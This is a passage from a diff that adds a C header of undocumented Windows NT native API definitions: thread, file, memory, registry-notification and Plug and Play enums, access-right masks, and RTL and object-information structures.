ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair_Reusable, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, // Obsolete + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, // Obsolete + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, // UMS + ThreadCounterProfiling, + ThreadIdealProcessorEx, + MaxThreadInfoClass +} THREADINFOCLASS; + + +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE; + + +#define PROCESS_TERMINATE (0x0001) +#define PROCESS_CREATE_THREAD (0x0002) +#define PROCESS_SET_SESSIONID (0x0004) +#define PROCESS_VM_OPERATION (0x0008) +#define PROCESS_VM_READ (0x0010) +#define PROCESS_VM_WRITE (0x0020) +#define PROCESS_DUP_HANDLE (0x0040) +#define PROCESS_CREATE_PROCESS (0x0080) +#define PROCESS_SET_QUOTA (0x0100) +#define PROCESS_SET_INFORMATION (0x0200) +#define PROCESS_QUERY_INFORMATION (0x0400) +#define PROCESS_SET_PORT (0x0800) +#define PROCESS_SUSPEND_RESUME (0x0800) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// 28.05.2011 - rndbit +#define NtLastError() ( NtCurrentTeb()->LastErrorValue ) +#define NtLastStatus() ( NtCurrentTeb()->LastStatusValue ) + +#if defined(_M_X86) +#define NtCurrentPID() __readfsdword(0x20) +#else +#define NtCurrentPID() __readgsqword(0x20) +#endif + +#define THREAD_TERMINATE (0x0001) +#define THREAD_SUSPEND_RESUME (0x0002) +#define THREAD_ALERT (0x0004) +#define THREAD_GET_CONTEXT (0x0008) +#define THREAD_SET_CONTEXT (0x0010) +#define THREAD_SET_INFORMATION (0x0020) +#define THREAD_QUERY_INFORMATION (0x0040) +#define THREAD_SET_THREAD_TOKEN (0x0080) +#define THREAD_IMPERSONATE (0x0100) +#define THREAD_DIRECT_IMPERSONATION (0x0200) + +#define JOB_OBJECT_ASSIGN_PROCESS (0x0001) +#define JOB_OBJECT_SET_ATTRIBUTES (0x0002) +#define JOB_OBJECT_QUERY (0x0004) +#define JOB_OBJECT_TERMINATE (0x0008) +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES (0x0010) +#ifndef _WINNT_ +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F ) +#endif + +#define PEB_STDIO_HANDLE_NATIVE 0 +#define PEB_STDIO_HANDLE_SUBSYS 1 +#define PEB_STDIO_HANDLE_PM 2 +#define PEB_STDIO_HANDLE_RESERVED 3 + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define FOREGROUND_BASE_PRIORITY 9 +#define NORMAL_BASE_PRIORITY 8 + +#ifndef FILE_READ_ACCESS +#define FILE_READ_ACCESS ( 0x0001 ) +#endif + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession +} POOL_TYPE, *PPOOL_TYPE; + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef enum _REG_NOTIFY_CLASS +{ + RegNtDeleteKey, + RegNtPreDeleteKey, + RegNtSetValueKey, + RegNtPreSetValueKey, + RegNtDeleteValueKey, + RegNtPreDeleteValueKey, + RegNtSetInformationKey, + RegNtPreSetInformationKey, + RegNtRenameKey, + RegNtPreRenameKey, + RegNtEnumerateKey, + RegNtPreEnumerateKey, + RegNtEnumerateValueKey, + RegNtPreEnumerateValueKey, + RegNtQueryKey, + RegNtPreQueryKey, + RegNtQueryValueKey, + RegNtPreQueryValueKey, + RegNtQueryMultipleValueKey, + RegNtPreQueryMultipleValueKey, + RegNtPreCreateKey, + RegNtPostCreateKey, + RegNtPreOpenKey, + RegNtPostOpenKey, + RegNtKeyHandleClose, + RegNtPreKeyHandleClose, + RegNtPostDeleteKey, + RegNtPostSetValueKey, + RegNtPostDeleteValueKey, + RegNtPostSetInformationKey, + RegNtPostRenameKey, + RegNtPostEnumerateKey, + RegNtPostEnumerateValueKey, + RegNtPostQueryKey, + RegNtPostQueryValueKey, + RegNtPostQueryMultipleValueKey, + RegNtPostKeyHandleClose, + RegNtPreCreateKeyEx, + RegNtPostCreateKeyEx, + RegNtPreOpenKeyEx, + RegNtPostOpenKeyEx, + RegNtPreFlushKey, + RegNtPostFlushKey, + RegNtPreLoadKey, + RegNtPostLoadKey, + RegNtPreUnLoadKey, + RegNtPostUnLoadKey, + RegNtPreQueryKeySecurity, + RegNtPostQueryKeySecurity, + RegNtPreSetKeySecurity, + RegNtPostSetKeySecurity, + RegNtCallbackObjectContextCleanup, + MaxRegNtNotifyClass +} REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS; + +typedef enum _HAL_QUERY_INFORMATION_CLASS +{ + HalInstalledBusInformation, + HalProfileSourceInformation, + HalInformationClassUnused1, + HalPowerInformation, + HalProcessorSpeedInformation, + HalCallbackInformation, + HalMapRegisterInformation, + HalMcaLogInformation, + HalFrameBufferCachingInformation, + HalDisplayBiosInformation, + HalProcessorFeatureInformation, + HalNumaTopologyInterface, + HalErrorInformation, + HalCmcLogInformation, + HalCpeLogInformation, + HalQueryMcaInterface, + HalQueryAMLIIllegalIOPortAddresses, + HalQueryMaxHotPlugMemoryAddress, + HalPartitionIpiInterface, + HalPlatformInformation, + HalQueryProfileSourceList, + HalInitLogInformation, + HalFrequencyInformation, + HalProcessorBrandString +} HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS; + + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef enum POWER_INFORMATION_LEVEL { + SystemPowerPolicyAc = 0x0, + SystemPowerPolicyDc = 0x1, + VerifySystemPolicyAc = 0x2, + VerifySystemPolicyDc = 0x3, + SystemPowerCapabilities = 0x4, + SystemBatteryState = 0x5, + SystemPowerStateHandler = 0x6, + ProcessorStateHandler = 0x7, + SystemPowerPolicyCurrent = 0x8, + AdministratorPowerPolicy = 0x9, + SystemReserveHiberFile = 0xa, + ProcessorInformation = 0xb, + SystemPowerInformation = 0xc, + ProcessorStateHandler2 = 0xd, + LastWakeTime = 0xe, + LastSleepTime = 0xf, + SystemExecutionState = 0x10, + SystemPowerStateNotifyHandler = 0x11, + ProcessorPowerPolicyAc = 0x12, + ProcessorPowerPolicyDc = 0x13, + VerifyProcessorPowerPolicyAc = 0x14, + VerifyProcessorPowerPolicyDc = 0x15, + ProcessorPowerPolicyCurrent = 0x16, + SystemPowerStateLogging = 0x17, + SystemPowerLoggingEntry = 0x18, + SetPowerSettingValue = 0x19, + NotifyUserPowerSetting = 0x1a, + GetPowerTransitionVetoes = 0x1b, + SetPowerTransitionVeto = 0x1c, + SystemVideoState = 0x1d, + TraceApplicationPowerMessage = 0x1e, + TraceApplicationPowerMessageEnd = 0x1f, + ProcessorPerfStates = 0x20, + ProcessorIdleStates = 0x21, + ProcessorThrottleStates = 0x22, + SystemWakeSource = 0x23, + SystemHiberFileInformation = 0x24, + TraceServicePowerMessage = 0x25, + ProcessorLoad = 0x26, + PowerShutdownNotification = 0x27, + MonitorCapabilities = 0x28 +}; +#endif + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + +typedef struct _X86_FLOATING_SAVE_AREA +{ + ULONG ControlWord; + ULONG StatusWord; + ULONG TagWord; + ULONG ErrorOffset; + ULONG ErrorSelector; + ULONG DataOffset; + ULONG DataSelector; + UCHAR RegisterArea[ 80 ]; + ULONG Cr0NpxState; +} X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA; + +typedef struct _X86_CONTEXT +{ + ULONG ContextFlags; + ULONG Dr0; + ULONG Dr1; + ULONG Dr2; + ULONG Dr3; + ULONG Dr6; + ULONG Dr7; + X86_FLOATING_SAVE_AREA FloatSave; + ULONG SegGs; + ULONG SegFs; + ULONG SegEs; + ULONG SegDs; + ULONG Edi; + ULONG Esi; + ULONG Ebx; + ULONG Edx; + ULONG Ecx; + ULONG Eax; + ULONG Ebp; + ULONG Eip; + ULONG SegCs; + ULONG EFlags; + ULONG Esp; + ULONG SegSs; +} X86_CONTEXT, *PX86_CONTEXT; + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define PIO_APC_ROUTINE_DEFINED + +typedef struct _PORT_VIEW { + ULONG Length; + LPC_HANDLE SectionHandle; + ULONG SectionOffset; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; + LPC_PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef enum _PORT_INFORMATION_CLASS { + PortBasicInformation +} PORT_INFORMATION_CLASS; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +//added 21/03/2011 +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#if defined(_M_X64) + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 5; + +#if defined(_M_X64) + ULONG_PTR ReservedUlong : 32; +#endif +} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; + +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG Long; + }; +} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; + +typedef +VOID +(*PTIMER_APC_ROUTINE) ( + IN PVOID TimerContext, + IN ULONG TimerLowValue, + IN LONG TimerHighValue + ); + +typedef enum _SHUTDOWN_ACTION { + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 + +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +#define MUTANT_QUERY_STATE 0x0001 + +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + MUTANT_QUERY_STATE) + +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; + +#define TIMER_QUERY_STATE 0x0001 +#define TIMER_MODIFY_STATE 0x0002 + +#define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + TIMER_QUERY_STATE|TIMER_MODIFY_STATE) +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') +#define OBJ_MAX_REPARSE_ATTEMPTS 32 +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) + +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[ 3 ]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +typedef enum _PLUGPLAY_EVENT_CATEGORY { + HardwareProfileChangeEvent, + TargetDeviceChangeEvent, + DeviceClassChangeEvent, + CustomDeviceEvent, + DeviceInstallEvent, + DeviceArrivalEvent, + PowerEvent, + VetoEvent, + BlockedDriverEvent, + InvalidIDEvent, + MaxPlugEventCategory +} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; + +typedef enum _PNP_VETO_TYPE { + PNP_VetoTypeUnknown, // Name is unspecified + PNP_VetoLegacyDevice, // Name is an Instance Path + PNP_VetoPendingClose, // Name is an Instance Path + PNP_VetoWindowsApp, // Name is a Module + PNP_VetoWindowsService, // Name is a Service + PNP_VetoOutstandingOpen, // Name is an Instance Path + PNP_VetoDevice, // Name is an Instance Path + PNP_VetoDriver, // Name is a Driver Service Name + PNP_VetoIllegalDeviceRequest, // Name is an Instance Path + PNP_VetoInsufficientPower, // Name is unspecified + PNP_VetoNonDisableable, // Name is an Instance Path + PNP_VetoLegacyDriver, // Name is a Service + PNP_VetoInsufficientRights // Name is unspecified +} PNP_VETO_TYPE, *PPNP_VETO_TYPE; + +typedef struct _PLUGPLAY_EVENT_BLOCK { + // + // Common event data + // + GUID EventGuid; + PLUGPLAY_EVENT_CATEGORY EventCategory; + PULONG Result; + ULONG Flags; + ULONG TotalSize; + PVOID DeviceObject; + + union { + + struct { + GUID ClassGuid; + WCHAR SymbolicLinkName[1]; + } DeviceClass; + + struct { + WCHAR DeviceIds[1]; + } TargetDevice; + + struct { + WCHAR DeviceId[1]; + } InstallDevice; + + struct { + PVOID NotificationStructure; + WCHAR DeviceIds[1]; + } CustomNotification; + + struct { + PVOID Notification; + } ProfileNotification; + + struct { + ULONG NotificationCode; + ULONG NotificationData; + } PowerNotification; + + struct { + PNP_VETO_TYPE VetoType; + WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName + } VetoNotification; + + struct { + GUID BlockedDriverGuid; + } BlockedDriverNotification; + + struct { + WCHAR ParentId[1]; + } InvalidIDNotification; + + } u; + +} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#define MDL_HASH_TABLE_SIZE 64 +#define MDL_HASH_MASK (MDL_HASH_TABLE_SIZE-1) +#define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK) + +#if !defined(_WINNT_) +#define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18))) +#endif +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +typedef struct _RTL_TIME_ZONE_INFORMATION { + LONG Bias; + WCHAR StandardName[ 32 ]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[ 32 ]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; + +typedef struct _RTL_BITMAP_RUN { + ULONG StartingIndex; + ULONG NumberOfBits; +} RTL_BITMAP_RUN; +typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN; + +typedef struct _PARSE_MESSAGE_CONTEXT { + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; + +typedef enum _RTL_RXACT_OPERATION { + RtlRXactOperationDelete = 1, // Causes sub-key to be deleted + RtlRXactOperationSetValue, // Sets sub-key value (creates key(s) if necessary) + RtlRXactOperationDelAttribute, + RtlRXactOperationSetAttribute +} RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION; + +typedef struct _RTL_RXACT_LOG { + ULONG OperationCount; + ULONG LogSize; + ULONG LogSizeInUse; +#if defined(_M_X64) + ULONG Alignment; +#endif +} RTL_RXACT_LOG, *PRTL_RXACT_LOG; + +typedef struct _RTL_RXACT_CONTEXT { + HANDLE RootRegistryKey; + HANDLE RXactKey; + BOOLEAN HandlesValid; + PRTL_RXACT_LOG RXactLog; +} RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT; + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO { + USHORT CodePage; // code page number + USHORT MaximumCharacterSize; // max length (bytes) of a char + USHORT DefaultChar; // default character (MB) + USHORT UniDefaultChar; // default character (Unicode) + USHORT TransDefaultChar; // translation of default char (Unicode) + USHORT TransUniDefaultChar; // translation of Unic default char (MB) + USHORT DBCSCodePage; // Non 0 for DBCS code pages + UCHAR LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges + PUSHORT MultiByteTable; // pointer to MB translation table + PVOID WideCharTable; // pointer to WC translation table + PUSHORT DBCSRanges; // pointer to DBCS ranges + PUSHORT DBCSOffsets; // pointer to DBCS offsets +} CPTABLEINFO, *PCPTABLEINFO; + +typedef struct _NLSTABLEINFO { + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; // 844 format upcase table + PUSHORT LowerCaseTable; // 844 format lower case table +} NLSTABLEINFO, *PNLSTABLEINFO; + +#define RTL_RANGE_LIST_SHARED_OK 0x00000001 +#define RTL_RANGE_LIST_NULL_CONFLICT_OK 0x00000002 + +typedef struct _RTL_RANGE { + ULONGLONG Start; // Read only + ULONGLONG End; // Read only + PVOID UserData; // Read/Write + PVOID Owner; // Read/Write + UCHAR Attributes; // Read/Write + UCHAR Flags; // Read only +} RTL_RANGE, *PRTL_RANGE; + +typedef + BOOLEAN + (*PRTL_CONFLICT_RANGE_CALLBACK) ( + IN PVOID Context, + IN PRTL_RANGE Range + ); + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + + +typedef enum _PLUGPLAY_CONTROL_CLASS { + PlugPlayControlEnumerateDevice, + PlugPlayControlRegisterNewDevice, + PlugPlayControlDeregisterDevice, + PlugPlayControlInitializeDevice, + PlugPlayControlStartDevice, + PlugPlayControlUnlockDevice, + PlugPlayControlQueryAndRemoveDevice, + PlugPlayControlUserResponse, + PlugPlayControlGenerateLegacyDevice, + PlugPlayControlGetInterfaceDeviceList, + PlugPlayControlProperty, + PlugPlayControlDeviceClassAssociation, + PlugPlayControlGetRelatedDevice, + PlugPlayControlGetInterfaceDeviceAlias, + PlugPlayControlDeviceStatus, + PlugPlayControlGetDeviceDepth, + PlugPlayControlQueryDeviceRelations, + PlugPlayControlTargetDeviceRelation, + PlugPlayControlQueryConflictList, + PlugPlayControlRetrieveDock, + PlugPlayControlResetDevice, + PlugPlayControlHaltDevice, + PlugPlayControlGetBlockedDriverList, + MaxPlugPlayControl +} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; + +typedef +VOID +(*PPS_APC_ROUTINE) ( + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + 